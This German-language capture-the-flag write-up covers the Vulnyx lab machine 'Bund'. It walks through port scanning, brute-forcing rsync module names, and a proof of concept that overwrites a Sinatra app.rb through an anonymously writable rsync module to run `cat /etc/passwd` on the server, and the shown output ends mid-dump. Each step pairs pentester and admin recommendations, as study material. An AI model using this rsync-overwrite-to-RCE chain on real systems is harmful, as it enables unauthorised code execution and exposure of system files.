Bund - Vulnyx - Medium - Bericht

Medium

Verwendete Tools

recon_script.sh (Custom)
echo
arp-scan
ip neigh
grep
awk
sort
nmap
curl
nikto
gobuster
nc
msfconsole
Metasploit (auxiliary/scanner/rsync/modules_list)
mkdir
mv
cd
pip
chmod
rsync_enum.py (Custom)
rsync
ls
cat
nano
stty
sudo
file
find
id

Inhaltsverzeichnis

Reconnaissance

Die Erkundung beginnt mit dem benutzerdefinierten Skript `recon_script.sh`, um das Zielsystem `bund.nyx` zu identifizieren.

┌──(root㉿CCat)-[~] └─# X=$(./recon_script.sh jenk.nyx)
# (Keine direkte Ausgabe, Zuweisung an Variable X)

**Analyse:** Das Skript `./recon_script.sh` wird ausgeführt (mit dem Hostnamen `jenk.nyx` als Argument, was möglicherweise ein Tippfehler ist, da das Ziel später `bund.nyx` genannt wird). Die Ausgabe des Skripts wird in der Shell-Variable `X` gespeichert.

**Bewertung:** Standardmäßige Ausführung eines Skripts und Speicherung der Ausgabe. Der Inhalt von `X` wird im nächsten Schritt relevant.

**Empfehlung (Pentester):** Sicherstellen, dass der korrekte Hostname an Skripte übergeben wird. Den Inhalt von Variablen immer überprüfen. **Empfehlung (Admin):** Keine direkte Aktion erforderlich.

┌──(root㉿CCat)-[~] └─# echo $X
                           Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.128



 ARP-Scan

192.168.2.128	08:00:27:e9:49:e5	PCS Systemtechnik GmbH



 /etc/hosts


        127.0.0.1	localhost
        192.168.2.128   bund.nyx

**Analyse:** Der Inhalt der Variable `X` wird mit `echo` ausgegeben. Er zeigt die Ergebnisse des Recon-Skripts: * Die identifizierte IP-Adresse des Ziels: `192.168.2.128`. * Das Ergebnis eines ARP-Scans, der die MAC-Adresse `08:00:27:e9:49:e5` (Oracle VirtualBox) für diese IP bestätigt. * Einen Hinweis darauf, dass die `/etc/hosts`-Datei angepasst wurde, um `bund.nyx` der IP `192.168.2.128` zuzuordnen.

**Bewertung:** Das Skript hat erfolgreich das Ziel identifiziert und die grundlegende Konfiguration für weitere Scans vorgenommen. Die IP `192.168.2.128` und der Hostname `bund.nyx` sind die primären Identifikatoren.

**Empfehlung (Pentester):** Mit den gewonnenen Informationen detaillierte Port-Scans starten. **Empfehlung (Admin):** Netzwerk-Monitoring zur Erkennung von Scan-Aktivitäten.

Es folgt die Suche nach IPv6-Nachbarn und ein anschließender IPv6-Portscan.

┌──(root㉿CCat)-[~] └─# cmd=$(ip neigh | grep ^fe80 2>/dev/null| grep -ve "fe801\|fe80a00:27ff:fe30:2eda\|fe808247:86ff:fe96:f63a\|fe8050f1:22ff:fec4:ad12\|fe80a5aa:636f:a4bf:d441");
# (Keine Ausgabe)
┌──(root㉿CCat)-[~] └─# cmd2=$(echo $cmd | awk '{print $1}' | sort -u);
# (Keine Ausgabe)
┌──(root㉿CCat)-[~] └─# nmap $cmd2 -6
: Nmap IPv6 Scan :



 - IPv6 Adresse: fe80::a00:27ff:fee9:49e5%eth0: -


Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-14 23:17 CEST
Nmap scan report for fe80::a00:27ff:fee9:49e5
Host is up (0.000090s latency).
Not shown: 997 closed tcp ports (reset)
PRT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
873/tcp open  rsync
MAC Address: 08:00:27:E9:49:E5 (racle VirtualBox virtual NIC)

**Analyse:** Die bekannte Befehlskette extrahiert die Link-Local IPv6-Adresse des Ziels (`fe80::a00:27ff:fee9:49e5`) und führt einen Nmap-Scan (`-6`) darauf aus. Der Scan identifiziert drei offene TCP-Ports über IPv6: * **Port 22 (SSH)** * **Port 80 (HTTP)** * **Port 873 (rsync)**

**Bewertung:** Der IPv6-Scan deckt bereits einen Großteil der später im IPv4-Scan gefundenen TCP-Dienste auf (SSH, HTTP, rsync). Dies bestätigt deren Erreichbarkeit über IPv6.

**Empfehlung (Pentester):** Rsync (Port 873) als potenziellen Angriffsvektor neben HTTP und SSH vormerken. IPv4-Scans durchführen, um das Bild zu vervollständigen. **Empfehlung (Admin):** Firewall-Regeln für IPv6 prüfen. Sicherstellen, dass der rsync-Dienst, falls benötigt, sicher konfiguriert ist (z.B. Authentifizierung, eingeschränkte Module).

Ein schneller TCP-Scan über IPv4 wird durchgeführt, um nur offene Ports anzuzeigen.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open

 Nmap nur offene Ports Ausgabe :

22/tcp   open  ssh     penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
873/tcp  open  rsync   (protocol version 31)
9393/tcp open  http    WEBrick httpd 1.8.1 (Ruby 2.7.4 (2021-07-07))

**Analyse:** Der gefilterte Nmap TCP SYN-Scan (`| grep open`) auf die IPv4-Adresse `$IP` (192.168.2.128) findet vier offene Ports: * **Port 22 (SSH):** OpenSSH 8.4p1 (Debian). * **Port 80 (HTTP):** Apache 2.4.56 (Debian). * **Port 873 (rsync):** Rsync-Dienst (Protokollversion 31). * **Port 9393 (HTTP):** Ein weiterer HTTP-Dienst, der als WEBrick 1.8.1 (Ruby 2.7.4) identifiziert wird.

**Bewertung:** Der IPv4-Scan bestätigt die über IPv6 gefundenen Ports (22, 80, 873) und findet einen zusätzlichen offenen Port: **9393**. Auf diesem läuft ein WEBrick-Server, der oft für Ruby-Webanwendungen (z.B. Rails, Sinatra) verwendet wird. Dies ist ein sehr interessanter Fund.

**Empfehlung (Pentester):** Alle vier Ports untersuchen. Besondere Aufmerksamkeit gilt dem rsync-Dienst (Port 873) und dem WEBrick-Server (Port 9393), da diese oft spezifische Schwachstellen oder Konfigurationsprobleme aufweisen. **Empfehlung (Admin):** Sicherstellen, dass alle vier Dienste benötigt und sicher konfiguriert sind. Insbesondere WEBrick ist oft ein Entwicklungs-Server und sollte nicht in Produktionsumgebungen ohne Absicherung laufen.

Der vollständige TCP-Scan über IPv4 wird zur Detailansicht ausgeführt.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
: Nmap volle Ausgabe :

Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-14 23:17 CEST
Nmap scan report for bund.nyx (192.168.2.128)
Host is up (0.00014s latency).
Not shown: 65531 closed tcp ports (reset)
PRT     STATE SERVICE VERSIN
22/tcp   open  ssh     penSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.56 (Debian)
873/tcp  open  rsync   (protocol version 31)
9393/tcp open  http    WEBrick httpd 1.8.1 (Ruby 2.7.4 (2021-07-07))
|_http-server-header: WEBrick/1.8.1 (Ruby/2.7.4/2021-07-07)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
MAC Address: 08:00:27:E9:49:E5 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 5.X
S CPE: cpe:/o:linux:linux_kernel:5
S details: Linux 5.0 - 5.5
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT     ADDRESS
1   0.14 ms bund.nyx (192.168.2.128)

**Analyse:** Die vollständige Ausgabe bestätigt die vier offenen Ports und liefert zusätzliche Details: * **Port 22 (SSH):** OpenSSH 8.4p1 (Debian 5+deb11u1). Host-Schlüssel werden angezeigt. * **Port 80 (HTTP):** Apache 2.4.56 (Debian). Kein Seitentitel. * **Port 873 (rsync):** Standard-rsync-Port, Protokollversion 31. * **Port 9393 (HTTP):** WEBrick 1.8.1 (Ruby 2.7.4). Kein Seitentitel. * **Betriebssystem:** Linux 5.x.

**Bewertung:** Die Versionsinformationen sind nützlich. OpenSSH 8.4p1 und Apache 2.4.56 haben keine trivialen bekannten Schwachstellen für einen direkten Einstieg. Rsync und WEBrick sind die vielversprechenderen Ziele für weitere Enumeration und mögliche Angriffe.

**Empfehlung (Pentester):** Rsync auf Port 873 auf offene/anonyme Module prüfen (`rsync [IP]::`). Den WEBrick-Server auf Port 9393 mit Web-Enumeration-Tools und manuell untersuchen. **Empfehlung (Admin):** Rsync absichern (Authentifizierung, Modulberechtigungen). Den WEBrick-Server prüfen: Ist er notwendig? Wenn ja, sicher konfigurieren und idealerweise hinter einem Reverse Proxy betreiben.

Überprüfung der erlaubten HTTP-Methoden auf Port 80.

┌──(root㉿CCat)-[~] └─# curl -X OPTIONS -Is http://$IP | grep -i "allow"
: HTTP Header Permissions


: HTTP Records Permissions :

Allow: GET,POST,OPTIONS,HEAD

**Analyse:** Ein `curl`-Befehl sendet eine `OPTIONS`-Anfrage an Port 80 (`http://$IP`). * `-X OPTIONS`: Setzt die HTTP-Methode auf OPTIONS. * `-I`: Ruft nur die Header ab. * `-s`: Unterdrückt Fortschrittsanzeigen. * `| grep -i "allow"`: Filtert die Ausgabe nach der Zeile, die den `Allow`-Header enthält. Das Ergebnis zeigt, dass die Methoden `GET`, `POST`, `OPTIONS`, `HEAD` erlaubt sind.

**Bewertung:** Nur Standard-HTTP-Methoden sind auf Port 80 erlaubt. Gefährlichere Methoden wie `PUT` oder `DELETE` sind nicht aktiviert.

**Empfehlung (Pentester):** Zur Kenntnis nehmen. Konzentration auf andere Angriffsvektoren. **Empfehlung (Admin):** Korrekte Konfiguration. Sicherstellen, dass nur notwendige HTTP-Methoden erlaubt sind.

Überprüfung der HTTP-Header von Port 80 mit `curl`.

┌──(root㉿CCat)-[~] └─# curl -Iv http://$IP
: WEB-Server Scan :

*   Trying 192.168.2.128:80...
* Connected to 192.168.2.128 (192.168.2.128) port 80
> HEAD / HTTP/1.1
> Host: 192.168.2.128
> User-Agent: curl/8.8.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Date: Sat, 14 Sep 2024 21:18:36 GMT
Date: Sat, 14 Sep 2024 21:18:36 GMT
< Server: Apache/2.4.56 (Debian)
Server: Apache/2.4.56 (Debian)
< Last-Modified: Sat, 27 May 2023 10:32:17 GMT
Last-Modified: Sat, 27 May 2023 10:32:17 GMT
< ETag: "13-5fcaa5e1b9c79"
ETag: "13-5fcaa5e1b9c79"
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Content-Length: 19
Content-Length: 19
< Content-Type: text/html
Content-Type: text/html
<

* Connection #0 to host 192.168.2.128 left intact

**Analyse:** `curl -Iv` sendet eine HEAD-Anfrage an Port 80 und zeigt die Antwort-Header. Die Header bestätigen den Apache-Server, das Datum der letzten Änderung der Ressource (`index.html`) und eine sehr geringe Inhaltslänge (`Content-Length: 19`). Der ETag-Header ist ebenfalls vorhanden.

**Bewertung:** Bestätigt die Nmap-Ergebnisse. Die geringe Größe der Datei (`19 Byte`) deutet auf eine extrem einfache oder leere Seite hin.

**Empfehlung (Pentester):** Den Inhalt der Seite ansehen. Weiter mit Directory-Bruteforcing. **Empfehlung (Admin):** Standardseite ersetzen oder entfernen.

Web Enumeration (Port 80, 9393)

Nikto-Scan auf Port 80.

┌──(root㉿CCat)-[~] └─# nikto -h http://$IP
 Nikto Scan

- Nikto v2.5.0

+ Target IP:          192.168.2.128
+ Target Hostname:    192.168.2.128
+ Target Port:        80
+ Start Time:         2024-09-14 23:18:37 (GMT2)

+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2024-09-14 23:19:06 (GMT2) (29 seconds)

+ 1 host(s) tested

**Analyse:** Der Nikto-Scan auf Port 80 wiederholt die bereits bekannten Funde: fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). Es werden keine weiteren Schwachstellen oder interessanten Pfade gefunden.

**Bewertung:** Nikto liefert keine neuen Erkenntnisse für Port 80.

**Empfehlung (Pentester):** Fokus auf Port 873 (rsync) und 9393 (WEBrick). **Empfehlung (Admin):** Fehlende Header hinzufügen.

Gobuster-Scan auf Port 80.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k

: Gobuster Scan :

http://192.168.2.128/index.html           (Status: 200) [Size: 19]

**Analyse:** Der Gobuster-Scan auf Port 80 mit der `-medium`-Wortliste findet erwartungsgemäß nur die extrem kleine `index.html` (19 Bytes).

**Bewertung:** Bestätigt, dass auf Port 80 keine weiteren gängigen Dateien oder Verzeichnisse aus der Wortliste existieren.

**Empfehlung (Pentester):** Port 80 als weniger interessant einstufen.

Manuelle Untersuchung der `index.html` auf Port 80.

Browser Aktion / Curl: └─# GET http://bund.nyx/index.html
Under Construction
Browser Entwicklertools: └─# HTTP Response Header Analyse
GET
	http://bund/index.html
Status
200 K
VersionHTTP/1.1

	Sat, 27 May 2023 10:32:17 GMT
Server
	Apache/2.4.56 (Debian)

	1
User-Agent
	Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

**Analyse:** Der direkte Aufruf von `http://bund.nyx/index.html` (oder der IP) zeigt den Text "Under Construction". Die Analyse der Response Header (vermutlich aus Browser-Entwicklertools) bestätigt den Status 200 und den Apache-Server.

**Bewertung:** Die Webseite auf Port 80 ist nur eine Platzhalterseite ohne Funktionalität.

**Empfehlung (Pentester):** Port 80 ignorieren, es sei denn, spätere Funde deuten auf eine Verbindung hin.

Untersuchung des WEBrick-Servers auf Port 9393 mit Netcat.

┌──(root㉿CCat)-[/var/www/html] └─# nc -nv 192.168.2.128 9393
(UNKNWN) [192.168.2.128] 9393 (?) open
help
HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=IS-8859-1
Server: WEBrick/1.8.1 (Ruby/2.7.4/2021-07-07)
Date: Sat, 14 Sep 2024 21:26:28 GMT
Content-Length: 279
Connection: close



Bad Request

Bad Request

bad Request-Line `help'. WEBrick/1.8.1 (Ruby/2.7.4/2021-07-07) at bund:9393

**Analyse:** Eine Verbindung wird mit `nc -nv` zu Port 9393 aufgebaut. Der Port ist offen. Der Text `help` wird gesendet. Der WEBrick-Server antwortet mit `HTTP/1.1 400 Bad Request`, da `help` keine gültige HTTP-Request-Zeile ist. Die Antwort bestätigt die Server-Software (WEBrick/1.8.1, Ruby/2.7.4).

**Bewertung:** Der Port ist offen und reagiert auf HTTP-Anfragen (wenn auch mit einem Fehler auf die ungültige Eingabe). Dies bestätigt den Nmap-Scan. Es gibt keine sofort ersichtliche Schwachstelle durch diese Interaktion.

**Empfehlung (Pentester):** Den Port mit gültigen HTTP-Anfragen (z.B. `GET / HTTP/1.1`) über `curl` oder einen Browser ansprechen. Nach bekannten Schwachstellen für WEBrick 1.8.1 oder Ruby 2.7.4 suchen. **Empfehlung (Admin):** WEBrick absichern oder ersetzen, wenn möglich.

Rsync Enumeration (Port 873)

Der offene rsync-Port (873) wird genauer untersucht.

Manuelle Verbindung mit Netcat zum rsync-Port.

┌──(root㉿CCat)-[/var/www/html] └─# nc -nv 192.168.2.128 873
(UNKNWN) [192.168.2.128] 873 (rsync) open
@RSYNCD: 31.0

id
@ERROR: protocol startup error
┌──(root㉿CCat)-[/var/www/html] └─# nc -nv 192.168.2.128 873
(UNKNWN) [192.168.2.128] 873 (rsync) open
@RSYNCD: 31.0

raidroot
@ERROR: protocol startup error

**Analyse:** Mehrere Versuche werden unternommen, sich manuell mit `nc` auf Port 873 zu verbinden. Der Server antwortet mit dem rsync-Protokoll-Header (`@RSYNCD: 31.0`). Die anschließende Eingabe von `id` oder `raidroot` (vermutlich Versuche, Modulnamen zu erraten) führt zu einem Protokollfehler (`@ERROR: protocol startup error`), da `nc` das rsync-Protokoll nicht korrekt spricht.

**Bewertung:** Bestätigt, dass ein rsync-Daemon auf Port 873 lauscht. Manuelle Interaktion mit `nc` ist jedoch nicht geeignet, um Module aufzulisten oder zu interagieren.

**Empfehlung (Pentester):** Spezielle rsync-Clients oder Nmap/Metasploit-Skripte verwenden, um nach offenen Modulen zu suchen (`rsync [IP]::` oder `nmap --script rsync-list-modules`). **Empfehlung (Admin):** Rsync-Daemon-Konfiguration überprüfen (`rsyncd.conf`).

Nmap-Skript `rsync-list-modules` wird verwendet.

┌──(root㉿CCat)-[/var/www/html] └─# nmap -sV --script "rsync-list-modules" -p 873 192.168.2.128
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-14 23:29 CEST
Nmap scan report for bund.nyx (192.168.2.128)
Host is up (0.00018s latency).

PRT    STATE SERVICE VERSIN
873/tcp open  rsync   (protocol version 31)
| rsync-list-modules:
|_
MAC Address: 08:00:27:E9:49:E5 (racle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/].
Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

**Analyse:** Nmap wird mit dem Skript `rsync-list-modules` auf Port 873 ausgeführt. Das Skript versucht, die verfügbaren rsync-Module aufzulisten. Die Ausgabe unter `| rsync-list-modules:` ist jedoch leer.

**Bewertung:** Das Nmap-Skript konnte keine öffentlich aufgelisteten rsync-Module finden. Das bedeutet nicht zwangsläufig, dass keine existieren, sondern nur, dass sie nicht in der Konfiguration zur Auflistung freigegeben sind.

**Empfehlung (Pentester):** Versuchen, bekannte oder häufige Modulnamen zu erraten (z.B. `public`, `share`, `backup`, `files`) oder eine Wortliste zu verwenden (siehe Metasploit/Python-Skript). **Empfehlung (Admin):** Auflistung von Modulen in `rsyncd.conf` deaktivieren (`list = false`), wenn nicht benötigt.

Metasploit-Modul `auxiliary/scanner/rsync/modules_list` wird verwendet.

msf6 > use auxiliary/scanner/rsync/modules_list
msf6 auxiliary(scanner/rsync/modules_list) > options
Module options (auxiliary/scanner/rsync/modules_list):

   Name                 Current Setting  Required  Description
   ----------------     ---------------  --------  -----------
   RHOSTS                                yes       The target host(s), see [Link: https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | Ziel: https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html]
   RPORT                873              yes       The target port (TCP)
   TEST_AUTHENTICATION  true             yes       Test if the rsync module requires authentication
   THREADS              1                yes       The number of concurrent threads (max one per host)

View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/rsync/modules_list) > set RHOSTS 192.168.2.128
RHOSTS => 192.168.2.128
msf6 auxiliary(scanner/rsync/modules_list) > set RPORT 873
RPORT => 873
msf6 auxiliary(scanner/rsync/modules_list) > set TEST_AUTHENTICATION true
TEST_AUTHENTICATION => true
msf6 auxiliary(scanner/rsync/modules_list) > run
[*] 192.168.2.128:873     - no rsync modules found
[*] 192.168.2.128:873     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

**Analyse:** Das Metasploit-Modul `auxiliary/scanner/rsync/modules_list` wird konfiguriert und ausgeführt, um ebenfalls nach rsync-Modulen zu suchen. Es wird `RHOSTS` auf die Ziel-IP gesetzt, `RPORT` auf 873 und `TEST_AUTHENTICATION` auf `true` (was hier irrelevant ist, da keine Module gefunden werden). Das Modul meldet ebenfalls `no rsync modules found`.

**Bewertung:** Sowohl Nmap als auch Metasploit scheitern daran, Module über die Standard-Listing-Methode zu finden. Dies bestärkt die Vermutung, dass die Module entweder nicht existieren oder nicht öffentlich gelistet werden.

**Empfehlung (Pentester):** Brute-Forcing von Modulnamen mit einer Wortliste ist der nächste logische Schritt. **Empfehlung (Admin):** Konfiguration überprüfen.

Ein benutzerdefiniertes Python-Skript (`rsync_enum.py`) wird vorbereitet und verwendet, um rsync-Modulnamen mit einer Wortliste zu erraten.

┌──(root㉿CCat)-[/var/www/html] └─# cd ~/Hackingtools
┌──(root㉿CCat)-[~/Hackingtools] └─# mkdir rsync_enum
┌──(root㉿CCat)-[~/Hackingtools] └─# mv rsync_enum.py rsync_enum
# (Verschiebt das Skript ins Verzeichnis)
┌──(root㉿CCat)-[~/Hackingtools] └─# cd rsync_enum
┌──(root㉿CCat)-[~/Hackingtools/rsync_enum] └─# pip install pwntools
# (Installiert Abhängigkeiten)
┌──(root㉿CCat)-[~/Hackingtools/rsync_enum] └─# chmod +x rsync_enum.py
# (Macht das Skript ausführbar)

**Analyse:** Mehrere Befehle bereiten die Ausführung eines Python-Skripts namens `rsync_enum.py` vor: * Ein Verzeichnis `rsync_enum` wird erstellt. * Das Skript `rsync_enum.py` wird in dieses Verzeichnis verschoben. * Die Python-Bibliothek `pwntools` (eine häufige Abhängigkeit für Exploit-Skripte) wird mit `pip` installiert. * Das Skript wird mit `chmod +x` ausführbar gemacht.

**Bewertung:** Standardmäßige Vorbereitungsschritte zur Ausführung eines heruntergeladenen oder selbst geschriebenen Python-Tools.

**Empfehlung (Pentester):** Das Skript mit der Hilfe-Option (`-h`) aufrufen, um die Funktionsweise zu verstehen, bevor es mit einer Wortliste ausgeführt wird.

┌──(root㉿CCat)-[~/Hackingtools/rsync_enum] └─# ./rsync_enum.py -h
[*]
[*] ===========================
[*]          Rsync Enumeration
[*] ===========================
[*]
usage: rsync_enum.py [-h] -t TARGET_IP -w WORDLIST

Run rsync command with wordlist.

options:
  -h, --help            show this help message and exit
  -t TARGET_IP, --target-ip TARGET_IP
                        Target IP address for rsync
  -w WORDLIST, --wordlist WORDLIST
                        Path to wordlist file

**Analyse:** Die Hilfe-Ausgabe des Skripts `rsync_enum.py` wird angezeigt. Es benötigt eine Ziel-IP (`-t`) und eine Wortliste (`-w`), um zu versuchen, rsync-Modulnamen zu erraten.

**Bewertung:** Klärt die erforderlichen Parameter für das Skript.

┌──(root㉿CCat)-[~/Hackingtools/rsync_enum] └─# ./rsync_enum.py -t 192.168.2.128 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[*]
[*] ===========================
[*]          Rsync Enumeration
[*] ===========================
[*]
[+] Checking index: Done
[+] Checking upload_an_incredible_message: Done
[+] Checking .jenkins: Done
[+] Checking .Jenkins: Done
[+] Checking slideshow: Done
[+] Checking bl: Done
[+] Checking exchange: Done
[+] Checking J: Done
[+] Checking nieuws: Done
[+] Checking vendor: Done
[+] Checking 193: Done
[+] Checking fileadmin: Done
[*] Listing for fileadmin: receiving incremental file list
    drwxrwxrwx          4.096 2023/05/27 16:40:29 .
    -rwxrwxrwx             14 2023/05/27 12:00:12 Gemfile
    -rwxrwxrwx            370 2023/05/27 12:01:38 Gemfile.lock
    -rwxrwxrwx             75 2023/05/27 16:30:25 app.rb

    sent 20 bytes  received 110 bytes  260,00 bytes/sec
    total size is 459  speedup is 3,53

**Analyse:** Das Skript `rsync_enum.py` wird mit der Ziel-IP und der `directory-list-2.3-medium.txt` als Wortliste ausgeführt. Das Skript testet verschiedene potenzielle Modulnamen aus der Wortliste. Es findet ein gültiges Modul namens `fileadmin`. Anschließend listet es erfolgreich den Inhalt dieses Moduls auf, ohne dass eine Authentifizierung erforderlich ist. Im Modul befinden sich die Dateien `Gemfile`, `Gemfile.lock` und `app.rb`.

**Bewertung:** **Wichtiger Durchbruch!** Obwohl die Standard-Tools keine Module fanden, hat das Brute-Forcing mit dem Python-Skript das anonym zugängliche Modul `fileadmin` aufgedeckt. Der Inhalt (`Gemfile`, `app.rb`) deutet stark auf eine Ruby-Anwendung hin, was zum WEBrick-Server auf Port 9393 passt.

**Empfehlung (Pentester):** Den Inhalt des `fileadmin`-Moduls mit dem `rsync`-Client herunterladen, insbesondere die Datei `app.rb`, um den Quellcode der Anwendung zu analysieren. **Empfehlung (Admin):** Den anonymen Zugriff auf das rsync-Modul `fileadmin` unterbinden (Authentifizierung erzwingen oder Modul entfernen). Überprüfen, warum dieses Modul existiert und welche Daten es enthält.

Proof of Concept (Rsync Exploit & RCE)

Dieser Abschnitt demonstriert, wie das anonym zugängliche rsync-Modul `fileadmin` ausgenutzt wird, um eine Webanwendung zu manipulieren und Remote Code Execution (RCE) zu erlangen.

**Kurzbeschreibung:** Der rsync-Dienst auf Port 873 erlaubt anonymen Lese- und Schreibzugriff auf das Modul `fileadmin`. Dieses Modul enthält den Quellcode (`app.rb`) einer Sinatra/Ruby-Webanwendung, die auf Port 9393 (WEBrick) läuft. Durch Herunterladen, Modifizieren und erneutes Hochladen der `app.rb`-Datei kann beliebiger Code auf dem Server im Kontext des WEBrick-Prozesses ausgeführt werden.

**Voraussetzungen:**

Schritt-für-Schritt Anleitung:

1. Herunterladen der Anwendungsdateien aus dem rsync-Modul.

┌──(root㉿CCat)-[~] └─# rsync 192.168.2.128::fileadmin/app.rb .
# (Keine Ausgabe, Datei wird heruntergeladen)
┌──(root㉿CCat)-[~] └─# ll app*
-rwxr-xr-x 1 root root 75 14. Sep 23:52 app.rb
┌──(root㉿CCat)-[~] └─# rsync 192.168.2.128::fileadmin/Gemfile .
# (Keine Ausgabe, Datei wird heruntergeladen)
┌──(root㉿CCat)-[~] └─# ll gem*
ls: Zugriff auf 'gem*' nicht möglich: Datei oder Verzeichnis nicht gefunden
┌──(root㉿CCat)-[~] └─# ll Gem*
-rwxr-xr-x 1 root root 14 14. Sep 23:52 Gemfile

**Analyse des Schritts:** Der `rsync`-Befehl wird verwendet, um Dateien aus dem Modul `fileadmin` herunterzuladen. Die Syntax `[IP]::[MODUL]/[DATEI]` wird genutzt. `app.rb` und `Gemfile` werden erfolgreich heruntergeladen. Der Befehl `ll gem*` schlägt fehl, da die Datei `Gemfile` großgeschrieben ist; `ll Gem*` findet sie dann.

**Bewertung:** Die relevanten Anwendungsdateien sind nun lokal verfügbar.

2. Analyse der ursprünglichen `app.rb`.

┌──(root㉿CCat)-[~] └─# cat app.rb
require 'sinatra'
require 'shotgun'

get '/' do
  "Under Construction"
end

**Analyse des Schritts:** Der Inhalt der heruntergeladenen `app.rb` wird angezeigt. Es ist eine minimale Sinatra-Anwendung, die auf GET-Anfragen an die Root-URL (`/`) nur den Text "Under Construction" zurückgibt. `shotgun` wird ebenfalls eingebunden, was oft für die automatische Neuladung von Code während der Entwicklung verwendet wird.

**Bewertung:** Die Anwendung ist extrem einfach, bietet aber durch die `get '/' do ... end`-Struktur einen klaren Punkt zur Code-Injection.

3. Modifizieren der `app.rb` zum Auslesen von `/etc/passwd`.

┌──(root㉿CCat)-[~] └─# # Ändere alten Eintrag ...
┌──(root㉿CCat)-[~] └─# # Neuer Eintrag , um passwd Datei zu sehen
┌──(root㉿CCat)-[~] └─# nano app.rb
# (Datei wird bearbeitet)
┌──(root㉿CCat)-[~] └─# cat app.rb
require 'sinatra'
require 'shotgun'

get '/' do
  `cat /etc/passwd`
end

**Analyse des Schritts:** Die `app.rb` wird bearbeitet. Der ursprüngliche String `"Under Construction"` wird durch Backticks (`` ` ``) ersetzt, die einen Systembefehl umschließen: `` `cat /etc/passwd` ``. In Ruby führen Backticks den enthaltenen Shell-Befehl aus und geben dessen Standardausgabe als String zurück. Wenn also die Root-URL (`/`) auf Port 9393 aufgerufen wird, wird der Befehl `cat /etc/passwd` auf dem Server ausgeführt, und dessen Ausgabe wird als HTTP-Antwort zurückgegeben.

**Bewertung:** Dies ist eine klassische Code-Injection. Die Fähigkeit, die `app.rb` über rsync zu überschreiben, kombiniert mit der Ausführung durch den WEBrick-Server, ermöglicht das Ausführen von Befehlen.

4. Hochladen der modifizierten `app.rb` zurück auf den Server.

┌──(root㉿CCat)-[~] └─# rsync app.rb 192.168.2.128::fileadmin/
# (Keine Ausgabe, Datei wird hochgeladen)

**Analyse des Schritts:** Die lokal modifizierte `app.rb` wird mit `rsync` zurück in das `fileadmin`-Modul auf dem Zielserver hochgeladen und überschreibt dort die Originaldatei.

**Bewertung:** Der schadhafte Code ist nun auf dem Server platziert.

5. Auslösen des modifizierten Codes durch Aufruf der Webanwendung.

┌──(root㉿CCat)-[~] └─# curl http://bund.nyx:9393/
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
